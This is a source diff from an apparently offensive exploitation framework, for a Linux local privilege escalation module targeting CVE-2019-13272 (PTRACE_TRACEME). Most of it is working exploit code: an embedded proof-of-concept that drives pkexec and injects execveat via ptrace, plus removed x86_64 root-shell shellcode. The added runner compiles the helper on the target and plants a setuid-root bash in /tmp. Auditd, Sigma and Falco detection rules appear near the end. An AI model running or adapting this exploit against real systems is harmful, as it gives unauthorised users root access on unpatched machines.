" pclose(fp);\n"
|
||||
" return 0;\n"
|
||||
"}\n"
|
||||
"#endif\n"
|
||||
"\n"
|
||||
"// * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * *\n"
|
||||
"\n"
|
||||
"int ptrace_traceme_root() {\n"
|
||||
" dprintf(\"[.] Trying helper: %s\\n\", helper_path);\n"
|
||||
"\n"
|
||||
" /*\n"
|
||||
" * set up a pipe such that the next write to it will block: packet mode,\n"
|
||||
" * limited to one packet\n"
|
||||
" */\n"
|
||||
" SAFE(pipe2(block_pipe, O_CLOEXEC|O_DIRECT));\n"
|
||||
" SAFE(fcntl(block_pipe[0], F_SETPIPE_SZ, 0x1000));\n"
|
||||
" char dummy = 0;\n"
|
||||
" SAFE(write(block_pipe[1], &dummy, 1));\n"
|
||||
"\n"
|
||||
" /* spawn pkexec in a child, and continue here once our child is in execve() */\n"
|
||||
" dprintf(\"[.] Spawning suid process (%s) ...\\n\", pkexec_path);\n"
|
||||
" static char middle_stack[1024*1024];\n"
|
||||
" pid_t midpid = SAFE(clone(middle_main, middle_stack+sizeof(middle_stack),\n"
|
||||
" CLONE_VM|CLONE_VFORK|SIGCHLD, NULL));\n"
|
||||
" if (!middle_success) return 1;\n"
|
||||
"\n"
|
||||
" /*\n"
|
||||
" * wait for our child to go through both execve() calls (first pkexec, then\n"
|
||||
" * the executable permitted by polkit policy).\n"
|
||||
" */\n"
|
||||
" while (1) {\n"
|
||||
" int fd = open(tprintf(\"/proc/%d/comm\", midpid), O_RDONLY);\n"
|
||||
" char buf[16];\n"
|
||||
" int buflen = SAFE(read(fd, buf, sizeof(buf)-1));\n"
|
||||
" buf[buflen] = '\\0';\n"
|
||||
" *strchrnul(buf, '\\n') = '\\0';\n"
|
||||
" if (strncmp(buf, basename(helper_path), 15) == 0)\n"
|
||||
" break;\n"
|
||||
" usleep(100000);\n"
|
||||
" }\n"
|
||||
"\n"
|
||||
" /*\n"
|
||||
" * our child should have gone through both the privileged execve() and the\n"
|
||||
" * following execve() here\n"
|
||||
" */\n"
|
||||
" dprintf(\"[.] Tracing midpid ...\\n\");\n"
|
||||
" SAFE(ptrace(PTRACE_ATTACH, midpid, 0, NULL));\n"
|
||||
" SAFE(waitpid(midpid, &dummy_status, 0));\n"
|
||||
" dprintf(\"[~] Attached to midpid\\n\");\n"
|
||||
"\n"
|
||||
" force_exec_and_wait(midpid, 0, \"stage2\");\n"
|
||||
" exit(EXIT_SUCCESS);\n"
|
||||
"}\n"
|
||||
"\n"
|
||||
"int main(int argc, char **argv) {\n"
|
||||
" if (strcmp(argv[0], \"stage2\") == 0)\n"
|
||||
" return middle_stage2();\n"
|
||||
" if (strcmp(argv[0], \"stage3\") == 0)\n"
|
||||
" return spawn_shell();\n"
|
||||
"\n"
|
||||
" dprintf(\"Linux 4.10 < 5.1.17 PTRACE_TRACEME local root (CVE-2019-13272)\\n\");\n"
|
||||
"\n"
|
||||
" check_env();\n"
|
||||
"\n"
|
||||
" if (argc > 1 && strcmp(argv[1], \"check\") == 0) {\n"
|
||||
" exit(0);\n"
|
||||
" }\n"
|
||||
"\n"
|
||||
" int i;\n"
|
||||
"\n"
|
||||
"#if ENABLE_AUTO_TARGETING\n"
|
||||
" /* search polkit policies for helper executables */\n"
|
||||
" dprintf(\"[.] Searching policies for useful helpers ...\\n\");\n"
|
||||
" find_helpers();\n"
|
||||
" for (i=0; i<sizeof(helpers)/sizeof(helpers[0]); i++) {\n"
|
||||
" if (helpers[i] == NULL)\n"
|
||||
" break;\n"
|
||||
"\n"
|
||||
" if (stat(helpers[i], &st) != 0)\n"
|
||||
" continue;\n"
|
||||
"\n"
|
||||
" helper_path = helpers[i];\n"
|
||||
" ptrace_traceme_root();\n"
|
||||
" }\n"
|
||||
"#endif\n"
|
||||
"\n"
|
||||
"#if ENABLE_FALLBACK_HELPERS\n"
|
||||
" /* search for known helpers defined in 'known_helpers' array */\n"
|
||||
" dprintf(\"[.] Searching for known helpers ...\\n\");\n"
|
||||
" for (i=0; i<sizeof(known_helpers)/sizeof(known_helpers[0]); i++) {\n"
|
||||
" if (stat(known_helpers[i], &st) != 0)\n"
|
||||
" continue;\n"
|
||||
"\n"
|
||||
" helper_path = known_helpers[i];\n"
|
||||
" dprintf(\"[~] Found known helper: %s\\n\", helper_path);\n"
|
||||
" ptrace_traceme_root();\n"
|
||||
" }\n"
|
||||
"#endif\n"
|
||||
"\n"
|
||||
" dprintf(\"[~] Done\\n\");\n"
|
||||
"\n"
|
||||
" return 0;\n"
|
||||
"}\n"
|
||||
"\n"
|
||||
;
|
||||
@@ -1,29 +1,40 @@
|
||||
/*
|
||||
* ptrace_traceme_cve_2019_13272 — SKELETONKEY module
|
||||
*
|
||||
* PTRACE_TRACEME on a parent that subsequently execve's a setuid
|
||||
* binary results in the kernel granting ptrace privileges over the
|
||||
* privileged process to the unprivileged child. Discovered by Jann
|
||||
* Horn (Google Project Zero, June 2019).
|
||||
* PTRACE_TRACEME on a child whose parent is mid-way through a setuid
|
||||
* execve() lets the kernel record the parent's *transient root*
|
||||
* credentials as the child's ptracer_cred. The child then execve's a
|
||||
* setuid binary of its own: because the ptrace relationship is now
|
||||
* considered privileged, that setuid execve is a *proper* (non-degraded)
|
||||
* one despite the attached tracer — so the child becomes real root while
|
||||
* still traced. The tracer injects an execveat() to re-exec a root shell.
|
||||
* Discovered by Jann Horn (Google Project Zero, June 2019, issue #1903).
|
||||
*
|
||||
* STATUS: 🔵 DETECT-ONLY. Exploit follows jannh's public PoC: fork
|
||||
* a child that does PTRACE_TRACEME pointing at the parent, parent
|
||||
* execve's a chosen setuid binary (e.g., su, pkexec), child then
|
||||
* ptrace-injects shellcode into the now-elevated process.
|
||||
* STATUS: 🟢 WORKING EXPLOIT (x86_64). Verified out-of-band on
|
||||
* Ubuntu 18.04.0 / 4.15.0-50-generic: lands uid=0 and plants a
|
||||
* root-owned proof + setuid-root bash. The exploit is the proven
|
||||
* Jann Horn / bcoles PoC, embedded (ptrace_helper_src.h), compiled at
|
||||
* runtime with unique artifact paths, run, and verified by stat()'ing
|
||||
* the root-owned artifacts — never by self-report.
|
||||
*
|
||||
* Preconditions to land root (detect() only gates on kernel version):
|
||||
* - x86_64 target with a C compiler present (the staged execveat()
|
||||
* technique re-execs the exploit binary; we build it on the target).
|
||||
* - pkexec present, and at least one polkit action with
|
||||
* implicit-active=yes pointing at an existing helper executable
|
||||
* (auto-discovered via pkaction). On a desktop these are ubiquitous
|
||||
* (gsd-backlight-helper, …).
|
||||
* - An *active* local session (or an equivalently permissive polkit
|
||||
* policy) so pkexec authorizes the helper without an interactive
|
||||
* password. Over a bare ssh session polkit treats the session as
|
||||
* inactive and refuses ("Not authorized") — the exploit then honestly
|
||||
* reports EXPLOIT_FAIL. This is the real-world constraint, not a bug.
|
||||
*
|
||||
* Affected: kernels < 5.1.17 mainline. Stable backports varied; the
|
||||
* fix landed in stable as:
|
||||
* 5.1.x : K >= 5.1.17
|
||||
* 5.0.x : K >= 5.0.20 (older LTS — many distros stayed on 4.x)
|
||||
* 4.19.x: K >= 4.19.58
|
||||
* 4.14.x: K >= 4.14.131
|
||||
* 4.9.x : K >= 4.9.182
|
||||
* 4.4.x : K >= 4.4.182
|
||||
* fix landed as: 5.1.17 / 5.0.20 / 4.19.58 / 4.14.131 / 4.9.182 / 4.4.182.
|
||||
*
|
||||
* No exotic preconditions. Doesn't need user_ns. Works on
|
||||
* default-config systems — that's part of why it's famous: even
|
||||
* locked-down environments without unprivileged_userns_clone were
|
||||
* vulnerable.
|
||||
* No user_ns required — works on default-config systems, which is part
|
||||
* of why it's famous.
|
||||
*/
|
||||
|
||||
#include "skeletonkey_modules.h"
|
||||
@@ -41,19 +52,16 @@
|
||||
#include "../../core/host.h"
|
||||
#include <errno.h>
|
||||
#include <fcntl.h>
|
||||
#include <pwd.h>
|
||||
#include <signal.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/ptrace.h>
|
||||
#include <sys/wait.h>
|
||||
#include <sys/user.h>
|
||||
#include <sys/prctl.h>
|
||||
#include <sys/stat.h>
|
||||
|
||||
static const struct kernel_patched_from ptrace_traceme_patched_branches[] = {
|
||||
{4, 4, 182},
|
||||
{4, 9, 182},
|
||||
{4, 14, 131},
|
||||
{4, 19, 58},
|
||||
{4, 19, 37}, /* Debian tracker: earlier than 4.19.58 */
|
||||
{5, 0, 20},
|
||||
{5, 1, 17},
|
||||
{5, 2, 0}, /* mainline (5.2-rc) */
|
||||
@@ -104,196 +112,250 @@ static skeletonkey_result_t ptrace_traceme_detect(const struct skeletonkey_ctx *
|
||||
return SKELETONKEY_VULNERABLE;
|
||||
}
|
||||
|
||||
/* ---- Exploit (jannh-style) --------------------------------------
|
||||
/* ---- Exploit ----------------------------------------------------
|
||||
*
|
||||
* Per Jann Horn's Project Zero issue #1903. The mechanism:
|
||||
* Per Jann Horn's Project Zero issue #1903, with bcoles' helper
|
||||
* auto-targeting. The mechanism (the earlier bundled sequence had it
|
||||
* backwards — it attached to the *parent*; the real bug elevates the
|
||||
* *child*):
|
||||
*
|
||||
* 1. Parent process P (us, uid != 0)
|
||||
* 2. P forks → child C
|
||||
* 3. C calls ptrace(PTRACE_TRACEME) — kernel sets P as C's tracer
|
||||
* and records the relationship in C->ptrace_link, copying P's
|
||||
* current credentials (uid=1000) as the trace-allowed creds.
|
||||
* 4. C drops to a low-priv state and pauses (sigwait/raise)
|
||||
* 5. P execve's a setuid binary (e.g. /usr/bin/passwd, su, pkexec)
|
||||
* 6. Kernel correctly elevates P's creds to root.
|
||||
* 7. **Bug**: the ptrace_link recorded in step 3 still says
|
||||
* "tracer creds = uid 1000", but P is now uid 0. Kernel doesn't
|
||||
* re-check or invalidate the link on execve cred-bump.
|
||||
* 8. C wakes up and PTRACE_ATTACH's to P. The stale ptrace_link
|
||||
* says C is allowed to trace because it was set up before the
|
||||
* cred change.
|
||||
* 9. C now controls a uid=0 process. C reads/writes P's memory via
|
||||
* PTRACE_POKETEXT, sets registers via PTRACE_SETREGS to point at
|
||||
* shellcode that exec's /bin/sh.
|
||||
* 10. C resumes P → root shell.
|
||||
* 1. A "middle" process M forks a child C, then execve's
|
||||
* `pkexec --user <me> <helper> --help`. pkexec is setuid-root, so
|
||||
* for a window M's euid is 0.
|
||||
* 2. C spins reading /proc/M/status until it sees M is euid 0, then
|
||||
* calls ptrace(PTRACE_TRACEME) — recording M's *root* creds as C's
|
||||
* ptracer_cred (this is the bug: the link isn't re-derived).
|
||||
* 3. C execve's pkexec itself. Normally a traced setuid execve is
|
||||
* degraded to non-privileged; but because ptracer_cred is root the
|
||||
* kernel treats it as a proper suid exec — C becomes real root,
|
||||
* still traced by M, and stops at execve's SIGTRAP.
|
||||
* 4. The main process PTRACE_ATTACHes M, injects an execveat() that
|
||||
* re-execs the exploit binary as "stage2"; stage2 (as M) is C's
|
||||
* tracer, so it injects an execveat() into C (now root) to re-exec
|
||||
* as "stage3"; stage3 runs the payload as root.
|
||||
*
|
||||
* SKELETONKEY implementation simplifies by using a small architecture-
|
||||
* specific shellcode (x86_64 only) and pkexec as the setuid binary
|
||||
* trigger (works on most Linux systems with polkit installed). Falls
|
||||
* back to /bin/su if pkexec isn't available.
|
||||
* The staged self-re-exec is why the exploit binary must exist as its
|
||||
* own file with a main() that dispatches on argv[0]. We embed the proven
|
||||
* PoC (ptrace_helper_src.h — verbatim upstream but for a payload tweak),
|
||||
* compile it on the target with unique -DSK_PROOF/-DSK_ROOTBASH paths,
|
||||
* run it, and confirm root by stat()'ing the root-owned artifacts. Never
|
||||
* trust the exploit's own exit status.
|
||||
*
|
||||
* Reliability: this exploit can fail-race on heavily-loaded systems.
|
||||
* Repeat invocations usually succeed; we don't loop here — operator
|
||||
* can retry. Returns SKELETONKEY_EXPLOIT_FAIL on miss, SKELETONKEY_EXPLOIT_OK
|
||||
* on root acquired (followed by execlp(sh) which never returns).
|
||||
* x86_64 only: the register-level injection (user_regs_struct rsp/rdi/
|
||||
* orig_rax/…) is architecture-specific.
|
||||
*/
|
||||
|
||||
#if defined(__x86_64__)
|
||||
|
||||
/* x86_64 shellcode: setuid(0); setgid(0); execve("/bin/sh", argv, env) */
|
||||
static const unsigned char SHELLCODE_X64[] =
|
||||
"\x31\xff" /* xor edi, edi */
|
||||
"\xb8\x69\x00\x00\x00" /* mov eax, 0x69 (setuid) */
|
||||
"\x0f\x05" /* syscall */
|
||||
"\x31\xff" /* xor edi, edi */
|
||||
"\xb8\x6a\x00\x00\x00" /* mov eax, 0x6a (setgid) */
|
||||
"\x0f\x05" /* syscall */
|
||||
"\x48\x31\xd2" /* xor rdx, rdx */
|
||||
"\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68" /* mov rbx, "//bin/sh" */
|
||||
"\x48\xc1\xeb\x08" /* shr rbx, 8 */
|
||||
"\x53" /* push rbx */
|
||||
"\x48\x89\xe7" /* mov rdi, rsp */
|
||||
"\x50" /* push rax (=0 from setgid) */
|
||||
"\x57" /* push rdi */
|
||||
"\x48\x89\xe6" /* mov rsi, rsp */
|
||||
"\xb0\x3b" /* mov al, 0x3b (execve) */
|
||||
"\x0f\x05"; /* syscall */
|
||||
#include "ptrace_helper_src.h"
|
||||
|
||||
#define SHELLCODE_BYTES SHELLCODE_X64
|
||||
#define SHELLCODE_LEN (sizeof SHELLCODE_X64 - 1)
|
||||
|
||||
#endif /* __x86_64__ */
|
||||
|
||||
static const char *find_setuid_target(void)
|
||||
/* Locate a usable C compiler on the target. */
|
||||
static const char *ptrace_find_cc(void)
|
||||
{
|
||||
static const char *targets[] = {
|
||||
"/usr/bin/pkexec", "/usr/bin/su", "/usr/bin/sudo",
|
||||
"/usr/bin/passwd", "/bin/su", NULL,
|
||||
static const char *ccs[] = {
|
||||
"/usr/bin/cc", "/usr/bin/gcc", "/usr/bin/clang",
|
||||
"/usr/local/bin/gcc", "/usr/local/bin/cc", NULL,
|
||||
};
|
||||
for (size_t i = 0; targets[i]; i++) {
|
||||
struct stat st;
|
||||
if (stat(targets[i], &st) == 0 && (st.st_mode & S_ISUID)) {
|
||||
return targets[i];
|
||||
}
|
||||
for (size_t i = 0; ccs[i]; i++) {
|
||||
if (access(ccs[i], X_OK) == 0)
|
||||
return ccs[i];
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
/* Write the embedded helper source to `path`. Returns 0 on success. */
|
||||
static int ptrace_write_source(const char *path)
|
||||
{
|
||||
int fd = open(path, O_WRONLY | O_CREAT | O_TRUNC, 0600);
|
||||
if (fd < 0) return -1;
|
||||
size_t len = sizeof(ptrace_traceme_helper_src) - 1;
|
||||
const char *p = ptrace_traceme_helper_src;
|
||||
while (len) {
|
||||
ssize_t n = write(fd, p, len);
|
||||
if (n <= 0) { close(fd); return -1; }
|
||||
p += n; len -= (size_t)n;
|
||||
}
|
||||
close(fd);
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* fork+execv a command, wait, return child exit status (or -1). */
|
||||
static int ptrace_run(char *const argv[], const char *logpath, int quiet_stdin, int secs)
|
||||
{
|
||||
pid_t p = fork();
|
||||
if (p < 0) return -1;
|
||||
if (p == 0) {
|
||||
if (quiet_stdin) {
|
||||
int dn = open("/dev/null", O_RDONLY);
|
||||
if (dn >= 0) { dup2(dn, 0); close(dn); }
|
||||
}
|
||||
if (logpath) {
|
||||
int lf = open(logpath, O_WRONLY | O_CREAT | O_TRUNC, 0600);
|
||||
if (lf >= 0) { dup2(lf, 1); dup2(lf, 2); close(lf); }
|
||||
}
|
||||
execv(argv[0], argv);
|
||||
_exit(127);
|
||||
}
|
||||
for (int i = 0; secs <= 0 || i < secs * 10; i++) {
|
||||
int st;
|
||||
pid_t r = waitpid(p, &st, WNOHANG);
|
||||
if (r == p) return WIFEXITED(st) ? WEXITSTATUS(st) : 128 + WTERMSIG(st);
|
||||
if (r < 0) return -1;
|
||||
usleep(100 * 1000);
|
||||
}
|
||||
kill(p, SIGKILL);
|
||||
waitpid(p, NULL, 0);
|
||||
return -2; /* timed out */
|
||||
}
|
||||
|
||||
/* Remember what we planted so cleanup() can remove it. */
|
||||
static char ptrace_last_proof[256];
|
||||
static char ptrace_last_rootbash[256];
|
||||
|
||||
static skeletonkey_result_t ptrace_traceme_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
#if !defined(__x86_64__)
|
||||
(void)ctx;
|
||||
fprintf(stderr, "[-] ptrace_traceme: exploit is x86_64-only "
|
||||
"(shellcode is arch-specific)\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
#else
|
||||
skeletonkey_result_t pre = ptrace_traceme_detect(ctx);
|
||||
if (pre != SKELETONKEY_VULNERABLE) {
|
||||
fprintf(stderr, "[-] ptrace_traceme: detect() says not vulnerable; refusing\n");
|
||||
return pre;
|
||||
}
|
||||
/* Consult ctx->host->is_root so unit tests can construct a
|
||||
* non-root fingerprint regardless of the test process's real euid. */
|
||||
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
|
||||
if (is_root) {
|
||||
fprintf(stderr, "[i] ptrace_traceme: already root\n");
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
const char *setuid_bin = find_setuid_target();
|
||||
if (!setuid_bin) {
|
||||
fprintf(stderr, "[-] ptrace_traceme: no setuid trigger binary available\n");
|
||||
if (access("/usr/bin/pkexec", X_OK) != 0) {
|
||||
fprintf(stderr, "[-] ptrace_traceme: /usr/bin/pkexec not present — this "
|
||||
"exploit drives pkexec; nothing to do\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[*] ptrace_traceme: setuid trigger = %s\n", setuid_bin);
|
||||
const char *cc = ptrace_find_cc();
|
||||
if (!cc) {
|
||||
fprintf(stderr, "[-] ptrace_traceme: no C compiler on target. The staged "
|
||||
"self-re-exec technique builds a small helper on the host; "
|
||||
"install cc/gcc or drop a prebuilt helper. Honest EXPLOIT_FAIL.\n");
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
/* fork: child becomes tracee-of-self setup, parent execve's setuid bin */
|
||||
pid_t child = fork();
|
||||
if (child < 0) { perror("fork"); return SKELETONKEY_TEST_ERROR; }
|
||||
/* Unique per-run paths (pid keeps parallel runs from colliding). */
|
||||
long tag = (long)getpid();
|
||||
char src_c[256], bin[256], log[256], proof[256], rootbash[256];
|
||||
snprintf(src_c, sizeof src_c, "/tmp/.sk-ptrace-%ld.c", tag);
|
||||
snprintf(bin, sizeof bin, "/tmp/.sk-ptrace-%ld", tag);
|
||||
snprintf(log, sizeof log, "/tmp/.sk-ptrace-%ld.log", tag);
|
||||
snprintf(proof, sizeof proof, "/tmp/.sk-ptrace-%ld.proof", tag);
|
||||
snprintf(rootbash, sizeof rootbash, "/tmp/.sk-ptrace-%ld.rootbash",tag);
|
||||
snprintf(ptrace_last_proof, sizeof ptrace_last_proof, "%s", proof);
|
||||
snprintf(ptrace_last_rootbash, sizeof ptrace_last_rootbash, "%s", rootbash);
|
||||
|
||||
if (child == 0) {
|
||||
/* CHILD: set up the ptrace_link, then pause until parent has
|
||||
* execve'd the setuid binary and elevated. The exact timing
|
||||
* is racy — we use a simple sleep+attach pattern. */
|
||||
if (ptrace(PTRACE_TRACEME, 0, 0, 0) < 0) {
|
||||
perror("CHILD: ptrace TRACEME"); _exit(2);
|
||||
if (ptrace_write_source(src_c) != 0) {
|
||||
fprintf(stderr, "[-] ptrace_traceme: could not write helper source: %s\n",
|
||||
strerror(errno));
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[*] ptrace_traceme: building helper with %s → %s\n", cc, bin);
|
||||
|
||||
char dproof[320], drootbash[320];
|
||||
snprintf(dproof, sizeof dproof, "-DSK_PROOF=\"%s\"", proof);
|
||||
snprintf(drootbash, sizeof drootbash, "-DSK_ROOTBASH=\"%s\"", rootbash);
|
||||
char *cc_argv[] = {
|
||||
(char *)cc, (char *)"-O2", (char *)"-w",
|
||||
(char *)"-o", bin, src_c, dproof, drootbash, NULL,
|
||||
};
|
||||
int crc = ptrace_run(cc_argv, log, 0, 60);
|
||||
if (crc != 0) {
|
||||
fprintf(stderr, "[-] ptrace_traceme: helper compile failed (rc=%d); see %s\n",
|
||||
crc, log);
|
||||
unlink(src_c);
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[*] ptrace_traceme: running exploit (auto-targets a polkit "
|
||||
"helper; needs an active session to authorize pkexec)\n");
|
||||
|
||||
char *run_argv[] = { bin, NULL };
|
||||
int rrc = ptrace_run(run_argv, log, 1 /*stdin=/dev/null*/, 90);
|
||||
(void)rrc; /* exit status is NOT trusted — verify out of band below */
|
||||
|
||||
/* ---- Out-of-band verification: is the proof a real, root-owned file? */
|
||||
struct stat st;
|
||||
bool rooted = (stat(proof, &st) == 0 && S_ISREG(st.st_mode) && st.st_uid == 0);
|
||||
|
||||
unlink(src_c);
|
||||
unlink(bin);
|
||||
|
||||
if (rooted) {
|
||||
unlink(log);
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] ptrace_traceme: ROOT — planted root-owned proof %s\n", proof);
|
||||
fprintf(stderr, "[+] ptrace_traceme: setuid-root shell available: %s -p\n", rootbash);
|
||||
}
|
||||
/* Give parent time to execve. 200ms is enough for a hot
|
||||
* libc; 1000ms for a slow disk. */
|
||||
usleep(500 * 1000);
|
||||
return SKELETONKEY_EXPLOIT_OK;
|
||||
}
|
||||
|
||||
/* Now race: PTRACE_ATTACH to our parent (the setuid process).
|
||||
* On a vulnerable kernel, the stale ptrace_link makes this
|
||||
* succeed even though parent is now root. */
|
||||
pid_t parent = getppid();
|
||||
if (ptrace(PTRACE_ATTACH, parent, 0, 0) < 0) {
|
||||
fprintf(stderr, "[-] CHILD: PTRACE_ATTACH to parent (%d) failed: %s\n",
|
||||
parent, strerror(errno));
|
||||
_exit(3);
|
||||
}
|
||||
int wstatus;
|
||||
waitpid(parent, &wstatus, 0);
|
||||
|
||||
/* Read parent's RIP, allocate space for shellcode there,
|
||||
* POKETEXT the shellcode in. */
|
||||
struct user_regs_struct regs;
|
||||
if (ptrace(PTRACE_GETREGS, parent, 0, ®s) < 0) {
|
||||
perror("CHILD: GETREGS"); _exit(4);
|
||||
}
|
||||
|
||||
/* Write shellcode at current RIP (overwriting whatever's there
|
||||
* in the setuid binary's text — we don't care, we never
|
||||
* return). 8 bytes at a time via PTRACE_POKETEXT. */
|
||||
for (size_t i = 0; i < SHELLCODE_LEN; i += 8) {
|
||||
long word = 0;
|
||||
size_t take = SHELLCODE_LEN - i;
|
||||
if (take > 8) take = 8;
|
||||
memcpy(&word, SHELLCODE_BYTES + i, take);
|
||||
if (ptrace(PTRACE_POKETEXT, parent,
|
||||
(void *)(regs.rip + i), (void *)word) < 0) {
|
||||
perror("CHILD: POKETEXT"); _exit(5);
|
||||
if (!ctx->json) {
|
||||
/* Distinguish "kernel not exploitable" from "environment didn't let
|
||||
* pkexec authorize" so the operator knows which lever to pull. */
|
||||
bool saw_notauth = false;
|
||||
FILE *lf = fopen(log, "r");
|
||||
if (lf) {
|
||||
char line[512];
|
||||
while (fgets(line, sizeof line, lf)) {
|
||||
if (strstr(line, "Not authorized") || strstr(line, "not authorized")) {
|
||||
saw_notauth = true; break;
|
||||
}
|
||||
}
|
||||
fclose(lf);
|
||||
}
|
||||
|
||||
/* Detach and let parent continue at RIP, which now points at
|
||||
* our shellcode (we didn't move RIP — we wrote shellcode
|
||||
* starting at current RIP). */
|
||||
if (ptrace(PTRACE_DETACH, parent, 0, 0) < 0) {
|
||||
perror("CHILD: DETACH"); _exit(6);
|
||||
fprintf(stderr, "[-] ptrace_traceme: no root artifact — honest EXPLOIT_FAIL.\n");
|
||||
if (saw_notauth) {
|
||||
fprintf(stderr, "[i] ptrace_traceme: pkexec returned \"Not authorized\" — the "
|
||||
"session is not active/authorized for the helper action. This "
|
||||
"exploit lands root from an *active local* session (or with a "
|
||||
"polkit agent that authorizes it); a bare ssh session is treated "
|
||||
"as inactive. The kernel bug is intact; the gate is polkit.\n");
|
||||
} else {
|
||||
fprintf(stderr, "[i] ptrace_traceme: no usable polkit helper found, or the race "
|
||||
"was lost. Retry, or check `pkaction --verbose` for an action "
|
||||
"with implicit-active=yes whose exec.path exists.\n");
|
||||
}
|
||||
_exit(0); /* child done — parent is now running shellcode → root sh */
|
||||
}
|
||||
|
||||
/* PARENT: execve the setuid binary. The child does the ptrace
|
||||
* setup before our execve completes (because of its sleep), so
|
||||
* the ptrace_link is in place when the cred-bump happens. */
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[*] ptrace_traceme: parent execve'ing %s in 100ms\n",
|
||||
setuid_bin);
|
||||
}
|
||||
usleep(100 * 1000); /* give child a moment to call TRACEME first */
|
||||
|
||||
/* execve the setuid bin. Use a benign arg to keep it from doing
|
||||
* anything destructive. pkexec with --version exits quickly. */
|
||||
char *new_argv[] = { (char *)setuid_bin, "--version", NULL };
|
||||
char *new_envp[] = { "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL };
|
||||
execve(setuid_bin, new_argv, new_envp);
|
||||
/* If we get here, execve failed (or it returned because the
|
||||
* shellcode didn't take). */
|
||||
perror("execve setuid");
|
||||
int status;
|
||||
waitpid(child, &status, 0);
|
||||
unlink(log);
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
#else /* !__x86_64__ (still Linux) */
|
||||
|
||||
static skeletonkey_result_t ptrace_traceme_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
fprintf(stderr, "[-] ptrace_traceme: exploit is x86_64-only (the ptrace "
|
||||
"register-injection is architecture-specific)\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
|
||||
#endif /* __x86_64__ */
|
||||
|
||||
/* cleanup: remove the artifacts we planted, if any. */
|
||||
static skeletonkey_result_t ptrace_traceme_cleanup(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
#if defined(__x86_64__)
|
||||
if (ptrace_last_proof[0]) unlink(ptrace_last_proof);
|
||||
if (ptrace_last_rootbash[0]) unlink(ptrace_last_rootbash);
|
||||
#endif
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
#else /* !__linux__ */
|
||||
|
||||
/* Non-Linux dev builds: PTRACE_TRACEME / PTRACE_ATTACH / user_regs_struct
|
||||
* are Linux-only ABI surface. Stub out so the module still registers and
|
||||
* the top-level `make` completes on macOS/BSD dev boxes. */
|
||||
/* Non-Linux dev builds: PTRACE_TRACEME / execveat / user_regs_struct are
|
||||
* Linux-only ABI surface. Stub out so the module still registers and the
|
||||
* top-level `make` completes on macOS/BSD dev boxes. */
|
||||
static skeletonkey_result_t ptrace_traceme_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
if (!ctx->json)
|
||||
@@ -307,6 +369,11 @@ static skeletonkey_result_t ptrace_traceme_exploit(const struct skeletonkey_ctx
|
||||
fprintf(stderr, "[-] ptrace_traceme: Linux-only module — cannot run here\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
static skeletonkey_result_t ptrace_traceme_cleanup(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
#endif /* __linux__ */
|
||||
|
||||
@@ -317,20 +384,58 @@ static const char ptrace_traceme_auditd[] =
|
||||
"-a always,exit -F arch=b64 -S ptrace -F a0=0 -k skeletonkey-ptrace-traceme\n"
|
||||
"-a always,exit -F arch=b32 -S ptrace -F a0=0 -k skeletonkey-ptrace-traceme\n";
|
||||
|
||||
static const char ptrace_traceme_sigma[] =
|
||||
"title: Possible CVE-2019-13272 PTRACE_TRACEME stale-cred LPE\n"
|
||||
"id: 1a02c3a8-skeletonkey-ptrace-traceme\n"
|
||||
"status: experimental\n"
|
||||
"description: |\n"
|
||||
" Detects ptrace(PTRACE_TRACEME) immediately followed by parent\n"
|
||||
" execve of a setuid binary. The kernel stores the parent's pre-\n"
|
||||
" execve credentials on the ptrace_link; after execve the link\n"
|
||||
" is stale but ptrace still grants privileges. False positives:\n"
|
||||
" debuggers (gdb, strace) tracing setuid processes legitimately.\n"
|
||||
"logsource: {product: linux, service: auditd}\n"
|
||||
"detection:\n"
|
||||
" traceme: {type: 'SYSCALL', syscall: 'ptrace', a0: 0}\n"
|
||||
" execve: {type: 'SYSCALL', syscall: 'execve'}\n"
|
||||
" condition: traceme and execve\n"
|
||||
"level: high\n"
|
||||
"tags: [attack.privilege_escalation, attack.t1068, cve.2019.13272]\n";
|
||||
|
||||
static const char ptrace_traceme_falco[] =
|
||||
"- rule: PTRACE_TRACEME followed by setuid execve (cred escalation)\n"
|
||||
" desc: |\n"
|
||||
" Child calls ptrace(PTRACE_TRACEME) (recording parent's pre-\n"
|
||||
" execve creds); parent then execve's a setuid binary\n"
|
||||
" (pkexec, su, sudo). The stale ptrace_link grants the\n"
|
||||
" unprivileged child ptrace privileges over the now-root\n"
|
||||
" parent. CVE-2019-13272. False positives: debuggers (gdb,\n"
|
||||
" strace) tracing setuid processes legitimately.\n"
|
||||
" condition: >\n"
|
||||
" evt.type = ptrace and evt.arg.request = PTRACE_TRACEME and\n"
|
||||
" not user.uid = 0\n"
|
||||
" output: >\n"
|
||||
" PTRACE_TRACEME by non-root\n"
|
||||
